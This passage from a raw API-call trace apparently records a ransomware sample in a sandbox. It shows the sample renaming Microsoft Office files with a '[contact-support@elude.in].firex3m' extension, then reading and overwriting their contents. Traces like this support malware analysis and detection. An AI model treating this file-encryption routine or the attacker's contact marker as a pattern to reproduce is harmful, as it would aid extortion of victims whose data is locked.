ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1159, dwReserved0=0x9b47496, dwReserved1=0x7177cb0, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0160.730] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0160.730] Sleep (dwMilliseconds=0x1) [0160.835] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl", len=0x63 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl") returned 1 [0160.835] GetProcessHeap () returned 0x630000 [0160.835] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd4) returned 0x707d3d0 [0160.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0160.929] CloseHandle (hObject=0x414) returned 1 [0160.930] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164ae360, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d5280 [0160.970] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0160.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0160.971] GetProcessHeap () returned 0x630000 [0160.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x7127cf0 [0160.971] GetProcessHeap () returned 0x630000 [0160.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8a41) returned 0x7130740 [0160.971] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.971] ReadFile (in: hFile=0x414, lpBuffer=0x7127cf0, nNumberOfBytesToRead=0x8a20, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7127cf0*, lpNumberOfBytesRead=0x69bff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0165.803] GetProcessHeap () returned 0x630000 [0165.803] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177b78 [0165.804] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.804] WriteFile (in: hFile=0x414, lpBuffer=0x7130740*, nNumberOfBytesToWrite=0x8a20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7130740*, lpNumberOfBytesWritten=0x69bff0c*=0x8a20, lpOverlapped=0x0) returned 1 [0165.804] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.804] WriteFile (in: hFile=0x414, lpBuffer=0x713915f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x713915f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.804] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.804] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.804] CloseHandle (hObject=0x414) returned 1 [0165.804] GetProcessHeap () returned 0x630000 [0165.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7130740 | out: hHeap=0x630000) returned 1 [0165.804] GetProcessHeap () returned 0x630000 [0165.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7127cf0 | out: hHeap=0x630000) returned 1 [0165.804] GetProcessHeap () returned 0x630000 [0165.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177b78 | out: hHeap=0x630000) returned 1 [0165.805] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164ae360, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28c58eb5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8a4e, dwReserved0=0x9b47496, dwReserved1=0x7127ce8, cFileName="orcl7.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ORCL7X~1.FIR")) returned 0x6d4f80 [0165.805] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0165.805] Sleep (dwMilliseconds=0x1) [0166.554] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap", len=0x75 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap") returned 1 [0166.554] GetProcessHeap () returned 0x630000 [0166.554] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b98) returned 0x707d3d0 [0166.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\powerviewres.sr-latn-cs.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0166.555] CloseHandle (hObject=0x4d4) returned 1 [0166.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.555] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\powerviewres.sr-latn-cs.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\powerviewres.sr-latn-cs.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.556] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f4d8, dwReserved0=0x1c00001c, dwReserved1=0x380034, cFileName="PowerViewRes.sr-Latn-CS.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0166.556] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\sr-latn-cs\\powerviewres.sr-latn-cs.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0166.556] GetProcessHeap () returned 0x630000 [0166.557] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fabfe8 [0166.557] GetProcessHeap () returned 0x630000 [0166.557] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71d5490 [0166.558] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.558] ReadFile (in: hFile=0x4d4, lpBuffer=0x6fabfe8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fabfe8*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.508] GetProcessHeap () returned 0x630000 [0173.508] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0173.508] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.508] WriteFile (in: hFile=0x4d4, lpBuffer=0x71d5490*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71d5490*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0173.508] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.509] WriteFile (in: hFile=0x4d4, lpBuffer=0x71e088f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e088f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0173.510] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.510] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0173.510] CloseHandle (hObject=0x4d4) returned 1 [0173.510] GetProcessHeap () returned 0x630000 [0173.510] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71d5490 | out: hHeap=0x630000) returned 1 [0173.511] GetProcessHeap () returned 0x630000 [0173.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fabfe8 | out: hHeap=0x630000) returned 1 [0173.511] GetProcessHeap () returned 0x630000 [0173.511] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0173.512] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\sr-Latn-CS\\PowerViewRes.sr-Latn-CS.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x15ede724, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2d5eb379, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f4fc, dwReserved0=0x9b47496, dwReserved1=0x6fabfe0, cFileName="PowerViewRes.sr-Latn-CS.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d53c0 [0173.512] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0173.512] Sleep (dwMilliseconds=0x1) [0173.521] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap", len=0x65 | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap") returned 1 [0173.521] GetProcessHeap () returned 0x630000 [0173.521] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b50) returned 0x707d3d0 [0173.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\powerviewres.hi.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0173.522] CloseHandle (hObject=0x4d4) returned 1 [0173.522] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0173.522] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\powerviewres.hi.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\powerviewres.hi.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0173.523] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0173.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1428e945, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x142b4b24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51e14, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.hi.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4ec0 [0173.523] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0173.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\powerviewres.hi.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0173.523] GetProcessHeap () returned 0x630000 [0173.523] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70825e8 [0173.523] GetProcessHeap () returned 0x630000 [0173.523] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72b84a0 [0173.523] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.523] ReadFile (in: hFile=0x4d4, lpBuffer=0x70825e8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70825e8*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0181.864] GetProcessHeap () returned 0x630000 [0181.864] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0181.864] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.864] WriteFile (in: hFile=0x4d4, lpBuffer=0x72b84a0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72b84a0*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0181.865] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.865] WriteFile (in: hFile=0x4d4, lpBuffer=0x72c389f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72c389f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0181.866] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.866] WriteFile (in: hFile=0x4d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0181.866] CloseHandle (hObject=0x4d4) returned 1 [0181.867] GetProcessHeap () returned 0x630000 [0181.867] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72b84a0 | out: hHeap=0x630000) returned 1 [0181.935] GetProcessHeap () returned 0x630000 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70825e8 | out: hHeap=0x630000) returned 1 [0181.935] GetProcessHeap () returned 0x630000 [0181.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0182.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1428e945, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x32584b12, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x51e38, dwReserved0=0x9b47496, dwReserved1=0x70825e0, cFileName="PowerViewRes.hi.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5000 [0182.509] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0182.509] Sleep (dwMilliseconds=0x1) [0182.544] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS", len=0x3e | out: pbstr=0x69bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS") returned 1 [0182.544] GetProcessHeap () returned 0x630000 [0182.544] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a60) returned 0x707d3d0 [0182.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.545] CloseHandle (hObject=0x688) returned 1 [0182.545] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4770c42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4770c42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4770c42, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="STEEL.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="STEELC~1.FIR")) returned 0x6d5340 [0182.602] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0182.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\STEEL.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\steel.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0182.603] GetProcessHeap () returned 0x630000 [0182.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0182.603] GetProcessHeap () returned 0x630000 [0182.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6fa4008 [0182.603] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.603] ReadFile (in: hFile=0x688, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x69bff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.617] GetProcessHeap () returned 0x630000 [0182.617] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0182.617] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.617] WriteFile (in: hFile=0x688, lpBuffer=0x6fa4008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4008*, lpNumberOfBytesWritten=0x69bff0c*=0xd60, lpOverlapped=0x0) returned 1 [0182.617] SetFilePointerEx 